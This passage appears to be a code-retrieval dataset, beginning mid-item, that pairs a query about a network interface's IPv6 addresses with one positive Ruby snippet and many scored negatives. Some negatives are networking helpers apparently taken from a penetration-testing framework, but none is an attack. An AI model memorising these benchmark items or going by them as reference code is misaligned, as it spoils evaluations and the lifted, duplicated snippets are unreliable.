w:#{@canvas_disp.width}, h:#{@canvas_disp.height}\\n\")\n adapt_to_canvas = false\n \n #check height\n if @imgDbuffHeight + 10 < @canvas_disp.height\n adapt_to_canvas = true\n elsif @imgDbuffHeight > @canvas_disp.height + 20\n adapt_to_canvas = true\n end\n # check width\n if @imgDbuffWidth + 10 < @canvas_disp.width\n adapt_to_canvas = true\n elsif @imgDbuffWidth > @canvas_disp.width + 20\n adapt_to_canvas = true\n end\n if adapt_to_canvas\n # need to recreate a new image double buffer \n @imgDbuffHeight = @canvas_disp.height\n @imgDbuffWidth = @canvas_disp.width\n \n @image_double_buff = FXImage.new(getApp(), nil, \n IMAGE_SHMI|IMAGE_SHMP, @imgDbuffWidth, @imgDbuffHeight)\n @image_double_buff.create\n #notify change to the current gfx\n @current_game_gfx.onSizeChange(@imgDbuffWidth, @imgDbuffHeight ) if @current_game_gfx\n end\n end", "title": "" }, { "docid": "6443598ee15654b885422a61cbe0b480", "score": "0.4769612", "text": "def gapWidth=(v); end", "title": "" }, { "docid": "6443598ee15654b885422a61cbe0b480", "score": "0.4769612", "text": "def gapWidth=(v); end", "title": "" }, { "docid": "0addb39f1ff6f152e9a753d6c2dbc9e7", "score": "0.47662383", "text": "def width; end", "title": "" }, { "docid": "0addb39f1ff6f152e9a753d6c2dbc9e7", "score": "0.47662383", "text": "def width; end", "title": "" }, { "docid": "0addb39f1ff6f152e9a753d6c2dbc9e7", "score": "0.47662383", "text": "def width; end", "title": "" }, { "docid": "0addb39f1ff6f152e9a753d6c2dbc9e7", "score": "0.47662383", "text": "def width; end", "title": "" }, { "docid": "0addb39f1ff6f152e9a753d6c2dbc9e7", "score": "0.47662383", "text": "def width; end", "title": "" }, { "docid": "0addb39f1ff6f152e9a753d6c2dbc9e7", "score": "0.47662383", "text": "def width; end", "title": "" }, { "docid": "0addb39f1ff6f152e9a753d6c2dbc9e7", "score": "0.47662383", "text": "def width; end", "title": "" }, { "docid": "0addb39f1ff6f152e9a753d6c2dbc9e7", "score": "0.47662383", "text": "def width; end", "title": "" }, { "docid": "0addb39f1ff6f152e9a753d6c2dbc9e7", "score": "0.47662383", "text": "def width; end", "title": "" } ]
bdeb476d3821681c80e6e6d64db54f68
The IPv6 addresses associated with the network interface.
[ { "docid": "d41ad33ada6a4bb025d6cfbea90e3743", "score": "0.8681962", "text": "def ipv_6_addresses\n data[:ipv_6_addresses]\n end", "title": "" } ]
[ { "docid": "ead5889d2e2a52aa17768e2ca8a9ea26", "score": "0.8820054", "text": "def ipv_6_addresses\n data.ipv_6_addresses\n end", "title": "" }, { "docid": "aba6abacabb4e837abedb31422039963", "score": "0.8029088", "text": "def ipv6_addresses\n addresses.select { |address| address.match /:/ }\n end", "title": "" }, { "docid": "96bdc8ef6088e7b74a6978fcfb538475", "score": "0.7585481", "text": "def get_ipv6_nets\n return @m_ipv6_nets\n end", "title": "" }, { "docid": "bbf4c1d6f116e684f4f4d8e54b802bdc", "score": "0.74239045", "text": "def ipv_6_address\n data[:ipv_6_address]\n end", "title": "" }, { "docid": "69f7df9fdbe4a6a176b9a8e11fa30e0f", "score": "0.73939466", "text": "def ipv6\n @ipv6\n end", "title": "" }, { "docid": "69f7df9fdbe4a6a176b9a8e11fa30e0f", "score": "0.73930585", "text": "def ipv6\n @ipv6\n end", "title": "" }, { "docid": "51a6b2cdd6bd2ce0edb0f3fc484f2dc5", "score": "0.70562977", "text": "def ipv_6_prefixes\n data[:ipv_6_prefixes]\n end", "title": "" }, { "docid": "56dfc040922bca8f16512346485e9090", "score": "0.705432", "text": "def all_bound_ips\n ip_list = []\n node['network']['interfaces'].each do |_ifce, attrs|\n next unless attrs['addresses'] #Not all interfaces have Addresses\n attrs['addresses'].each do |addr, _|\n ## Only take valid IPv4 and IPv6\n ip_list.push(addr) if !(IPAddr.new(addr) rescue nil).nil?\n end\n end\n ip_list\n end", "title": "" }, { "docid": "83a71f38b815e0587fb634a47127903d", "score": "0.7019022", "text": "def pif_addresses(node, interface=nil)\n addresses = []\n begin\n node['network']['interfaces'].each do |eth, opts|\n # if interface is not matched and no-scrambled search performed\n # we skip address retrieval.\n unless interface.nil? || eth.split(':').first == interface\n next\n end\n opts['addresses'].each do |ip, eth_opts|\n addresses << IPAddr.new(ip) if eth_opts['family'] == 'inet'\n end\n end\n rescue\n Chef::Log.warn(\"Shorewall search couldn't get ip addresses for #{node} on #{interface} interface\")\n end\n addresses\n end", "title": "" }, { "docid": "b498e8042bfff7e863f54068ef96d4ca", "score": "0.6986563", "text": "def ipv6_link_address(opts={})\n\t\tRex::Socket.ipv6_link_address(ipv6_interface(opts))\n\tend", "title": "" }, { "docid": "cc6ef85411618d3b6dbd30397bd326ac", "score": "0.6745028", "text": "def ipv6\n @is_ipv6 = true\n if !defined?(@is_ipv4)\n @is_ipv4 = false\n end\n self\n end", "title": "" }, { "docid": "f1263972ca54c2cc1ea02af5c7df56de", "score": "0.6675706", "text": "def if_get_addresses(ifaddr)\n addrs = []\n\n for a in ifaddr[\"addr_info\"] do\n next if a[\"family\"] != \"inet\"\n addrs << a[\"local\"]\n end\n\n return addrs\nend", "title": "" }, { "docid": "e51070e70f7edc614eb667ccd6a31db0", "score": "0.6665559", "text": "def to_ipv6\n \"%.4x:%.4x\" % [to_u32].pack(\"N\").unpack(\"nn\")\n end", "title": "" }, { "docid": "d8d7b6263494702641853187c5ac8274", "score": "0.66424876", "text": "def to_net()\n\t\t\tNetAddr::IPv6Net.new(self,nil)\n\t\tend", "title": "" }, { "docid": "66326c8deb885aa801a522e971d4c85f", "score": "0.66299105", "text": "def ip_addresses\n @entries.collect(&:ip_address).compact || []\n end", "title": "" }, { "docid": "bdc2d4bda098e28bf31c1f249f2d63f6", "score": "0.6617392", "text": "def interface_private_ips(interface)\n mac = interface_mac_address(interface)\n ips = node['ec2']['network_interfaces_macs'][mac]['local_ipv4s']\n ips = ips.split(\"\\n\") if ips.is_a? String # ohai 14 will return an array\n Chef::Log.debug(\"#{interface} assigned local ipv4s addresses is/are #{ips.join(',')}\")\n ips\n end", "title": "" }, { "docid": "0195a32cce88658f52c97757be2c9d7a", "score": "0.66064", "text": "def index\n @ipv6s = Ipv6.all\n end", "title": "" }, { "docid": "20f8ba9695bd243aa20abfc16fd9d390", "score": "0.6572625", "text": "def ipv_6_native\n data[:ipv_6_native]\n end", "title": "" }, { "docid": "9a456a1a3aeef551ea045afb17e181a4", "score": "0.6555039", "text": "def ipv_6_cidr_block_association_set\n data[:ipv_6_cidr_block_association_set]\n end", "title": "" }, { "docid": "3b3403504099998576adba3b7ff41c6c", "score": "0.6546098", "text": "def ip_v6\n\t\tIP.new(['v6',read_attribute(:ip_v6)]).to_s\n\tend", "title": "" }, { "docid": "e8a1889acba49322f1c1c06ebbd7b5b5", "score": "0.65429825", "text": "def to_ipv6()\n return @vt_to_ipv6.call(self)\n end", "title": "" }, { "docid": "3a55643f3cc65bbb324023856a1f6055", "score": "0.65159667", "text": "def ip_interfaces\n return @ip_interfaces\n end", "title": "" }, { "docid": "9887c367aaf1fe059a2aca0682877992", "score": "0.65020317", "text": "def parse_ip6(ip_output, scope)\n cidr_ip = parse_ip_output(ip_output, /inet6 .* scope #{scope}/, 1)\n return unless cidr_ip\n\n parts = cidr_ip.split('/')\n @network_conf[\"address6_#{scope}\".to_sym] = parts[0]\n @network_conf[\"prefix6_#{scope}\".to_sym] = parts[1].to_i\n end", "title": "" }, { "docid": "9362324abe007be53ba9e3304817e490", "score": "0.64850134", "text": "def my_ip_address_list\n addrs = Socket.ip_address_list.select do |addr|\n addr.ipv4? and not(addr.ipv4_loopback?) and not(addr.ipv4_multicast?)\n end\n if not(addrs.empty?)\n privates = addrs.select{|addr| addr.ipv4_private?}\n not_privates = addrs - privates\n privates = privates.sort{|a,b| a.ip_address <=> b.ip_address}\n not_privates = not_privates.sort{|a, b| a.ip_address <=> b.ip_address}\n (privates + not_privates).map {|addr| addr.ip_address}\n else\n Socket.ip_address_list.select{|addr| addr.ipv4_loopback?}.map{|addr| addr.ip_address}\n end\n end", "title": "" }, { "docid": "10979864bd13d5dd8d6fd75b057b464a", "score": "0.6472053", "text": "def ip_addresses(interface=nil, resolve_cache=nil, use_cache=nil)\n getaddrinfo(resolve_cache) unless use_cache\n if interface\n @interface_addresses[interface]\n else\n @interface_addresses.values.flatten\n end\n end", "title": "" }, { "docid": "204553d47223bbc972eefaaa78c94638", "score": "0.64631957", "text": "def addresses(ipv = 4)\n type = ([6, \"AF_INET6\"].include?(ipv)) ? \"AF_INET6\" : \"AF_INET\"\n Socket.getaddrinfo(Socket.gethostname, nil, Socket::AF_UNSPEC, Socket::SOCK_STREAM, nil, Socket::AI_CANONNAME)\n .select{|sock| sock[0] == type }\n .map{|sock| sock[3] }\n end", "title": "" }, { "docid": "98a13d229d64ae84202b8fb33868abc6", "score": "0.64453334", "text": "def ip6_arpa\n if !ipv6?\n raise InvalidAddressError, \"not an IPv6 address\"\n end\n return _reverse + \".ip6.arpa\"\n end", "title": "" }, { "docid": "24010651fb8efc31b649e5aa58d10e31", "score": "0.6429842", "text": "def ip_addresses\n [public_ip_address, private_ip_address].flatten.select(&:present?)\n end", "title": "" }, { "docid": "9b78b569c55e41733a65397bdb466fbd", "score": "0.64290357", "text": "def ip_addresses; end", "title": "" }, { "docid": "9b78b569c55e41733a65397bdb466fbd", "score": "0.64290357", "text": "def ip_addresses; end", "title": "" }, { "docid": "e8488d5b442ebe8c6e837bb4931c7821", "score": "0.64072526", "text": "def getIPs interface\n return []\n end", "title": "" }, { "docid": "278437d48f23dec4676823c5b77f8b9b", "score": "0.6405275", "text": "def ipv6_addr(bytes)\n num = 0\n bytes.each_byte { |x| num = (num << 8) + x }\n IPAddr.new(num, Socket::AF_INET6)\n end", "title": "" }, { "docid": "fff83a2db29fe156eb0ba5da85c5249d", "score": "0.6402595", "text": "def ipv6\n\t\tself.refname.index('ipv6') ? true : false\n\tend", "title": "" }, { "docid": "73746b878821d9eca6bb96e66ed90156", "score": "0.6393523", "text": "def destination_ipv_6_cidr_block\n data.destination_ipv_6_cidr_block\n end", "title": "" }, { "docid": "76085ca4caf8fee195d53e66ada22fec", "score": "0.6337757", "text": "def ip_list\r\n return self.up_dl_networks.map(&:ip_list).flatten\r\n end", "title": "" }, { "docid": "390cc04e48047fb76c9545cfd63d910f", "score": "0.631878", "text": "def ipv6_str2arr(ipv6_str)\n ipaddr = IPAddr.new ipv6_str\n ipaddr = ipaddr.hton.split(//)\n adr = []\n ipaddr.each do |x|\n adr << x.unpack(\"H*\").first.hex\n end\n adr\nend", "title": "" }, { "docid": "c82d5000b8f571559fc2a8ff99552a37", "score": "0.6310003", "text": "def ip6_int\n if !ipv6?\n raise InvalidAddressError, \"not an IPv6 address\"\n end\n return _reverse + \".ip6.int\"\n end", "title": "" }, { "docid": "7be735acdae97f3a7339a97f427725e7", "score": "0.6294938", "text": "def host_ips_from_iface(iface_name)\n ipv4_ifaddrs.find_all { |iface| iface.name == iface_name }\n .map {|iface| iface.addr.ip_address }\nend", "title": "" }, { "docid": "4ec3bf69fb42726f2f7c0c662e7157ea", "score": "0.6280793", "text": "def addresses(type=nil)\n addr = []\n @ifaces.each_value { |iface|\n addr += iface.addresses\n }\n return addr\n end", "title": "" }, { "docid": "a25ca958c9206fd2d95b8846df40a3c0", "score": "0.62692755", "text": "def if_parse_addresses()\n output, status = Open3.capture2('ip', '-j', 'addr', 'show')\n raise \"failed to exec 'ip addr show'\" unless status.success?\n\n ifaddrs = Hash.new()\n\n # At this point, we have an array of interface entries.\n # Turn the array into a map indexed by the interface name.\n for i in JSON.parse(output) do\n ifname = i[\"ifname\"]\n ifaddrs[ifname] = i\n end\n\n return ifaddrs\nend", "title": "" }, { "docid": "d0a3b19ad89255002a4e1eb88dc54a76", "score": "0.6241731", "text": "def add_ipv6_multicast\n add_host '::1', ['ip6-localhost', 'ip6-loopback']\n add_host 'fe00::0', ['ip6-localnet']\n add_host 'ff00::0', ['ip6-mcastprefix']\n add_host 'ff02::1', ['ip6-allnodes']\n add_host 'ff02::2', ['ip6-allrouters']\n end", "title": "" }, { "docid": "6d65f2c1855212dfc76b22d0f63c28ed", "score": "0.6231414", "text": "def private_ip_addresses\n @ni.private_ip_addresses\n end", "title": "" }, { "docid": "6b8828c12ad196bd1d3fc67467bbdd25", "score": "0.6198095", "text": "def list_v4_ips\n addresses = query('/sbin/ifconfig').lines.select do |line|\n /inet[^6]/.match(line)\n end\n addresses.map! { |ip| ip.split(/\\s+/).grep(/(?:\\d+\\.){3}\\d+/)[0] }\n addresses.map! { |ip| ip.gsub(/[^\\d]*((?:\\d+\\.){3}\\d+)[^\\d]*/, '\\\\1')}\n addresses.reject! { |ip| /127(\\.\\d+){3}/.match(ip) }\n end", "title": "" }, { "docid": "7da5a3cd80f01d225181440e2b7acadf", "score": "0.61530715", "text": "def ipv6_saddr\n\t\t\taddr = [self.ipv6_src.a1,self.ipv6_src.a2,self.ipv6_src.a3,self.ipv6_src.a4].pack(\"NNNN\")\n\t\t\taddr.unpack(\"H*\")[0].scan(/.{8}/).collect {|x| x.sub(/^0*([0-9a-f])/,\"\\\\1\")}.join(\":\")\n\t\tend", "title": "" }, { "docid": "433feb51b23e602a641e8abdceffae8f", "score": "0.6153023", "text": "def private_ip_addresses\n data.private_ip_addresses\n end", "title": "" }, { "docid": "cfa839fae045147775665f50174a38a4", "score": "0.61210763", "text": "def get_ip_cidr6(c)\n return false unless c.include?(:ip6)\n return false unless c.include?(:ip6_cidr)\n begin\n return false unless IPAddr.new(c[:ip6])\n rescue IPAddr::Error\n raise Errors::VMConfigError,\n error_msg: \"Invalid IP-Address supplied: #{c[:ip6]}\"\n end\n \"#{c[:ip6]}/#{c[:ip6_cidr]}\"\n end", "title": "" }, { "docid": "11adbd6fff18b809ed95395a085783eb", "score": "0.6111521", "text": "def all_local_ips\n\t\tips = []\n\t\tSocket.ip_address_list.each do |ip|\n\t\t\tunless ip.ipv4_loopback? or ip.ipv6_loopback?\n\t\t\t\tips << ip.ip_address if ip.ipv4?\n\t\t\tend\n\t\tend\n\t\treturn ips\n\tend", "title": "" }, { "docid": "4e8ac50075648b2b6b2ea83f6e89a8c8", "score": "0.6103271", "text": "def ipv6_daddr\n\t\t\taddr = [self.ipv6_dst.a1,self.ipv6_dst.a2,self.ipv6_dst.a3,self.ipv6_dst.a4].pack(\"NNNN\")\n\t\t\taddr.unpack(\"H*\")[0].scan(/.{8}/).collect {|x| x.sub(/^0*([0-9a-f])/,\"\\\\1\")}.join(\":\")\n\t\tend", "title": "" }, { "docid": "fedfada440e6c86ced4ac9c899e161da", "score": "0.60776085", "text": "def ipv6_interface(opts={})\n\t\topts['INTERFACE'] || datastore['INTERFACE'] || ::Pcap.lookupdev\n\tend", "title": "" }, { "docid": "4eab14e85a8d06ceb8b9982f056d9d70", "score": "0.60652643", "text": "def ipv6?\n is_ipv6\n end", "title": "" }, { "docid": "b266c618f9719ed4a2413350e4bb62dd", "score": "0.60647273", "text": "def get_IP\n ip_list = []\n Socket.ip_address_list.each do |address|\n ip_list.push(address.ip_address)\n end\n ip_list\n end", "title": "" }, { "docid": "4cb2985460fe8ca68af3d5232156c15e", "score": "0.60348713", "text": "def ip_addresses\n addresses ? addresses.values.flatten.collect { |x| x['addr'] } : []\n end", "title": "" }, { "docid": "da3f99f3753a73a40b4c82d2fc67dfac", "score": "0.6024312", "text": "def private_ip_addresses\n data[:private_ip_addresses]\n end", "title": "" }, { "docid": "d01e8952f66b9aca758f06340a8729df", "score": "0.6022216", "text": "def all_hosts_ips\n host_ary = []\n @xmlfi.each_host { |host| host_ary << host.ip }\n return host_ary\n end", "title": "" }, { "docid": "c937231b7e18538794aecc53d0115cd2", "score": "0.600743", "text": "def ip_addresses\n @attributes[:ip_addresses]\n end", "title": "" }, { "docid": "c937231b7e18538794aecc53d0115cd2", "score": "0.600743", "text": "def ip_addresses\n @attributes[:ip_addresses]\n end", "title": "" }, { "docid": "91b2a2d547f1569d39f2906c742dd27c", "score": "0.59815806", "text": "def netmask_ext() \n if (@version == 4)\n netmask = IPAdmin.unpack_ip_addr(:Integer => @netmask)\n else\n raise \"IPv6 does not support extended netmask notation. \" +\n \"Use netmask() method instead.\"\n end\n\n return(netmask)\n end", "title": "" }, { "docid": "ccd95fb3ad17620838c1fac79145d1c9", "score": "0.5976747", "text": "def network_interfaces\n @instance.network_interfaces\n end", "title": "" }, { "docid": "408992e13459c7c7ecb5d1f95594ea3f", "score": "0.5973394", "text": "def extract_addresses(node)\n pif_addresses(node, @search_rule.options[:interface]).select do |ip|\n @search_rule.options[:public] ^ PRIVATE_RANGES.any? {|range| range.include?(ip)}\n end\n end", "title": "" }, { "docid": "afed270f96e192ee1b33ebba0f7bb9f8", "score": "0.59636915", "text": "def split_ipv6(l)\n\t\tret = []\n\t\tcur = ''\n\t\tinv6 = false\n\t\tl.split('').each { |c|\n\t\t\tcase c\n\t\t\twhen '['\n\t\t\t\traise '[[ fail' if inv6\n\t\t\t\tinv6 = true\n\t\t\twhen ']'\n\t\t\t\traise ']] fail' if not inv6\n\t\t\t\tinv6 = false\n\t\t\twhen ':'\n\t\t\t\tif inv6\n\t\t\t\t\tcur << c\n\t\t\t\telse\n\t\t\t\t\tret << cur\n\t\t\t\t\tcur = ''\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tcur << c\n\t\t\tend\n\t\t}\n\t\tret << cur if cur != ''\n\t\traise '[ fail' if inv6\n\t\tret\n\tend", "title": "" }, { "docid": "596990de467fad302dfa9438e66a3337", "score": "0.59531015", "text": "def get_ips_from_network\n ips = []\n node.set[:network][:interfaces].sort_by{|k,v| k.to_s }.each do |name, info|\n next if info[:encapsulation] == 'Loopback'\n ip = info[:addresses].keys.detect{|addr| info[:addresses][addr][:family] == 'inet' }\n if name == node[:network][:default_interface]\n ips.unshift(ip)\n else\n ips.push(ip)\n end\n end\n ips.flatten.compact.uniq\n end", "title": "" }, { "docid": "aae6ca2048a2d2f14b61af064162214f", "score": "0.59518737", "text": "def is_ipv6? ; self.proto.include? \"IPv6\" ; end", "title": "" }, { "docid": "aae6ca2048a2d2f14b61af064162214f", "score": "0.59518737", "text": "def is_ipv6? ; self.proto.include? \"IPv6\" ; end", "title": "" }, { "docid": "aae6ca2048a2d2f14b61af064162214f", "score": "0.59518737", "text": "def is_ipv6? ; self.proto.include? \"IPv6\" ; end", "title": "" }, { "docid": "3ef8c1c0dc2e6e9487ac691b5f42bac6", "score": "0.5939758", "text": "def ipv4_neighbors\n return [] unless ipv4_cidr && network&.allow_neighbors\n\n network.interfaces.where.not(id: id).select do |other|\n ipv4_net == other.ipv4_net\n end\n end", "title": "" }, { "docid": "b9f14997a19bfe27b1531c5acdcc4e2f", "score": "0.5905485", "text": "def to_ipv6(net)\n\t\t\tif (!net.kind_of?(IPv6Net))\n\t\t\t\traise ArgumentError, \"Expected an IPv6Net object for 'net' but got a #{net.class}.\"\n\t\t\tend\n\t\t\t\n\t\t\tif (net.netmask.prefix_len != 64)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\t\n\t\t\t# set u/l bit to 0\n\t\t\thostId = @addr ^ 0x0200000000000000\n\t\t\tipAddr = net.network.addr | hostId\n\t\t\treturn IPv6.new(ipAddr)\n\t\tend", "title": "" }, { "docid": "f1ebebca4023a4b6a5dece9a6ab2e299", "score": "0.58668005", "text": "def ipv6_convert(ip)\n #Break into two-byte chunks and join with \":\" per standard IPv6 notation\n internal_ip = ip.scan(/..../).join(\":\")\n loop do\n break if internal_ip.sub!(/\\A0000:0000:0000:0000:0000:0000:0000:0000\\z/, '::')\n break if internal_ip.sub!(/\\b0000:0000:0000:0000:0000:0000:0000:\\b/, ':')\n break if internal_ip.sub!(/\\b0000:0000:0000:0000:0000:0000:\\b/, ':')\n break if internal_ip.sub!(/\\b0000:0000:0000:0000:0000:\\b/, ':')\n break if internal_ip.sub!(/\\b0000:0000:0000:0000:\\b/, ':')\n break if internal_ip.sub!(/\\b0000:0000:0000:\\b/, ':')\n break if internal_ip.sub!(/\\b0000:0000:\\b/, ':')\n break\n end\n return internal_ip\nend", "title": "" }, { "docid": "19b539f1b3adb1e423804006fb43723b", "score": "0.5865973", "text": "def ipv6?\n not @ipv6.nil?\n end", "title": "" }, { "docid": "1f5f75eb345995b8dc73b53342b6c78f", "score": "0.5857227", "text": "def addresses\n NSHost.currentHost.addresses\n end", "title": "" }, { "docid": "011264327eaec2cd6b163e5fa1ba5750", "score": "0.58570546", "text": "def interfaces\n options.interfaces || %x(networksetup -listallnetworkservices).lines.drop(1).map(&:strip)\n end", "title": "" }, { "docid": "6d19fb4cdb2ae71d3d7b0070cf63564c", "score": "0.58570206", "text": "def addresses\n [get_peername, get_sockname].map do |addr|\n addr ? Socket.unpack_sockaddr_in(addr)[0, 2].reverse.join(':') : 'unknown'\n end\n end", "title": "" }, { "docid": "43acf2615d9b03d1b240be3ffb3d8f71", "score": "0.58474797", "text": "def interfaces(use_cache=nil)\n resolve(use_cache)\n @interface_addresses.keys\n end", "title": "" }, { "docid": "3b6e2712d4d97a59741139d933ea6b85", "score": "0.5829922", "text": "def ipv6?\n return @family == Socket::AF_INET6\n end", "title": "" }, { "docid": "f2671f72ae9fe63200b636eb5f53d70b", "score": "0.58080757", "text": "def im_addresses\n return @im_addresses\n end", "title": "" }, { "docid": "f2671f72ae9fe63200b636eb5f53d70b", "score": "0.58080757", "text": "def im_addresses\n return @im_addresses\n end", "title": "" }, { "docid": "88fd5105998f2070ef9385d8b77f4f2d", "score": "0.58012944", "text": "def network_interface_facts\n network_interfaces.map do |interface|\n net_id = interface.network_interface_id\n [:link, instance_id, :network, net_id]\n end\n end", "title": "" }, { "docid": "62c4abfc69c13ab630b2ac556991540c", "score": "0.5775676", "text": "def octets\n to_ip.split(\".\").map{|i| i.to_i}\n end", "title": "" }, { "docid": "2cc4e1437ff640adf194418d23674bf1", "score": "0.5772086", "text": "def ip_address(interface)\n `ifconfig #{interface} | egrep 'inet (.*) ' | awk '{print $2}'`.chomp\n end", "title": "" }, { "docid": "a4c81650f993051a7f3089240044ee1e", "score": "0.5770487", "text": "def bind_addresses\n # Switch to IPv6 ANY address if the LHOST is also IPv6\n addr = Rex::Socket.resolv_nbo(datastore['LHOST'])\n\n # First attempt to bind LHOST. If that fails, the user probably has\n # something else listening on that interface. Try again with ANY_ADDR.\n any = (addr.length == 4) ? \"0.0.0.0\" : \"::0\"\n addr = Rex::Socket.addr_ntoa(addr)\n\n # Checking if LHOST is a loopback address\n if is_loopback_address?(addr)\n print_warning(\"You are binding to a loopback address by setting LHOST to #{addr}. Did you want ReverseListenerBindAddress?\")\n end\n\n addrs = [ addr, any ]\n\n if not datastore['ReverseListenerBindAddress'].to_s.empty?\n # Only try to bind to this specific interface\n addrs = [ datastore['ReverseListenerBindAddress'] ]\n\n # Pick the right \"any\" address if either wildcard is used\n addrs[0] = any if (addrs[0] == \"0.0.0.0\" or addrs == \"::0\")\n end\n\n addrs\n end", "title": "" }, { "docid": "51ce31245c5ef3cef745ecff949ae67d", "score": "0.57630587", "text": "def get_addresses\n context.getAttribute('javax.servlet.sip.outboundInterfaces')\n end", "title": "" }, { "docid": "deda2658449b6b3afa976d3fa9294bb2", "score": "0.5762894", "text": "def enable_dhcp6\n @interface_config['IPV6INIT'] = 'yes'\n @interface_config['DHCPV6C'] = 'yes'\n @interface_config.delete('IPV6ADDR')\n @interface_config.delete('IPV6_DEFAULTGW')\n @interface_config.delete(\"DNS1\")\n @interface_config.delete(\"DNS2\")\n @interface_config.delete(\"DOMAIN\")\n end", "title": "" }, { "docid": "0c3cc30bdf8009b8032ca0549d0400dd", "score": "0.57598954", "text": "def ip_ranges\n return @ip_ranges\n end", "title": "" }, { "docid": "cbef438bec0aea8a9ee1619f5f115ba8", "score": "0.5758097", "text": "def ipv6_to_txt(ipv6)\n txt = \"\"\n for i in 0..15\n txt = (txt + (i == 0 || (i & 1) == 1 ? \"\" : \":\") + \"%02x\" %ipv6[i])\n end\n txt\nend", "title": "" }, { "docid": "50bc3fcf4469f512339dd4b4b0dfd78b", "score": "0.57560825", "text": "def ip_v6?\n\t\ti = read_attribute(:ip_v4)\n\t\ti==0 || i.nil?\n\tend", "title": "" }, { "docid": "bbfe09f684205d555a88d5e8ae21e7dc", "score": "0.5751455", "text": "def fix_inet_interfaces\n unless Facter.value('ipv6_enabled')\n begin\n postconf('inet_interfaces')\n rescue Puppet::ExecutionFailure => error\n if error.to_s =~ /::1/\n set_config('inet_interfaces', '127.0.0.1')\n end\n end\n end\n end", "title": "" }, { "docid": "0a3acf7b12724ff3f42ec710ab83d265", "score": "0.574903", "text": "def ipv6_link_local_address=(ipv6_link_local_address)\n pattern = Regexp.new(/^$|^(([0-9A-Fa-f]{1,4}:([0-9A-Fa-f]{1,4}:([0-9A-Fa-f]{1,4}:([0-9A-Fa-f]{1,4}:([0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{0,4}|:[0-9A-Fa-f]{1,4})?|(:[0-9A-Fa-f]{1,4}){0,2})|(:[0-9A-Fa-f]{1,4}){0,3})|(:[0-9A-Fa-f]{1,4}){0,4})|:(:[0-9A-Fa-f]{1,4}){0,5})((:[0-9A-Fa-f]{1,4}){2}|:(25[0-5]|(2[0-4]|1[0-9]|[1-9])?[0-9])(\\.(25[0-5]|(2[0-4]|1[0-9]|[1-9])?[0-9])){3})|(([0-9A-Fa-f]{1,4}:){1,6}|:):[0-9A-Fa-f]{0,4}|([0-9A-Fa-f]{1,4}:){7}:)$/)\n if !ipv6_link_local_address.nil? && ipv6_link_local_address !~ pattern\n fail ArgumentError, \"invalid value for \\\"ipv6_link_local_address\\\", must conform to the pattern #{pattern}.\"\n end\n\n @ipv6_link_local_address = ipv6_link_local_address\n end", "title": "" }, { "docid": "0a582bcc371a913fcf0066a0c79932f3", "score": "0.57391363", "text": "def parse_server_addresses(interface_index)\n cmd = run_server_address_script(interface_index)\n\n retval = []\n count = 0\n cmd.stdout.to_s.lines.each do |line|\n count += 1\n parse_server_address_line(line, retval)\n end\n Chef::Log.debug(\"Processed #{count} lines, found #{retval.size} server IPs:\\n#{retval}\")\n return retval\n end", "title": "" }, { "docid": "bc8f5ba9a8677d81a5bc0d890f8ba3ca", "score": "0.57357526", "text": "def get_interfaces\n\t\trequest = Packet.create_request('stdapi_net_config_get_interfaces')\n\t\tifaces = []\n\n\t\tresponse = client.send_request(request)\n\n\t\tresponse.each(TLV_TYPE_NETWORK_INTERFACE) { |iface|\n\t\t\taddrs = []\n\t\t\tnetmasks = []\n\t\t\tscopes = []\n\t\t\twhile (a = iface.get_tlv_value(TLV_TYPE_IP, addrs.length))\n\t\t\t\t# Netmasks aren't tightly associated with addresses, they're\n\t\t\t\t# just thrown all together in the interface TLV ordered to\n\t\t\t\t# match up. This could be done better by creating another\n\t\t\t\t# GroupTlv type for addresses containing an address, a netmask,\n\t\t\t\t# and possibly a scope.\n\t\t\t\tn = iface.get_tlv_value(TLV_TYPE_NETMASK, addrs.length)\n\t\t\t\tif (n.nil?)\n\t\t\t\t\t# Some systems can't report a netmask, only a network\n\t\t\t\t\t# prefix, so figure out the netmask from that.\n\t\t\t\t\tn = iface.get_tlv_value(TLV_TYPE_IP_PREFIX, addrs.length)\n\t\t\t\t\tif n\n\t\t\t\t\t\tn = Rex::Socket.bit2netmask(n, !!(a.length == 16))\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tn = Rex::Socket.addr_ntoa(n)\n\t\t\t\tend\n\t\t\t\ts = iface.get_tlv_value(TLV_TYPE_IP6_SCOPE, addrs.length)\n\t\t\t\tscopes[addrs.length] = s if s\n\t\t\t\tnetmasks[addrs.length] = n if n\n\t\t\t\taddrs << Rex::Socket.addr_ntoa(a)\n\t\t\tend\n\t\t\tifaces << Interface.new(\n\t\t\t\t\t:index => iface.get_tlv_value(TLV_TYPE_INTERFACE_INDEX),\n\t\t\t\t\t:mac_addr => iface.get_tlv_value(TLV_TYPE_MAC_ADDRESS),\n\t\t\t\t\t:mac_name => iface.get_tlv_value(TLV_TYPE_MAC_NAME),\n\t\t\t\t\t:mtu => iface.get_tlv_value(TLV_TYPE_INTERFACE_MTU),\n\t\t\t\t\t:flags => iface.get_tlv_value(TLV_TYPE_INTERFACE_FLAGS),\n\t\t\t\t\t:addrs => addrs,\n\t\t\t\t\t:netmasks => netmasks,\n\t\t\t\t\t:scopes => scopes\n\t\t\t\t)\n\t\t}\n\n\t\treturn ifaces\n\tend", "title": "" }, { "docid": "3924ed0ee1dc8df5d72eb60435385321", "score": "0.57134455", "text": "def listIPs\n ips = []\n cloud_desc.network_profile.network_interfaces.each { |iface|\n iface_id = Id.new(iface.is_a?(Hash) ? iface['id'] : iface.id)\n iface_desc = MU::Cloud::Azure.network(credentials: @credentials).network_interfaces.get(@resource_group, iface_id.to_s)\n iface_desc.ip_configurations.each { |ipcfg|\n ips << ipcfg.private_ipaddress\n if ipcfg.respond_to?(:public_ipaddress) and ipcfg.public_ipaddress\n ip_id = Id.new(ipcfg.public_ipaddress.id)\n ip_desc = MU::Cloud::Azure.network(credentials: @credentials).public_ipaddresses.get(@resource_group, ip_id.to_s)\n if ip_desc\n ips << ip_desc.ip_address\n end\n end\n }\n }\n ips\n end", "title": "" }, { "docid": "6b887ccf5537fb747132fed9b3a91099", "score": "0.5698548", "text": "def ips\n requires :uuid\n config[\"networks\"].map{|n| n[\"ip\"]}\n end", "title": "" }, { "docid": "26a7f26c94d80701b9c400db1ddc9906", "score": "0.569363", "text": "def ips\n @ips\n end", "title": "" }, { "docid": "f77222f5b35b2ea4df7aa6b32d3961ee", "score": "0.5689943", "text": "def addresses\n servers_list.map(&:address)\n end", 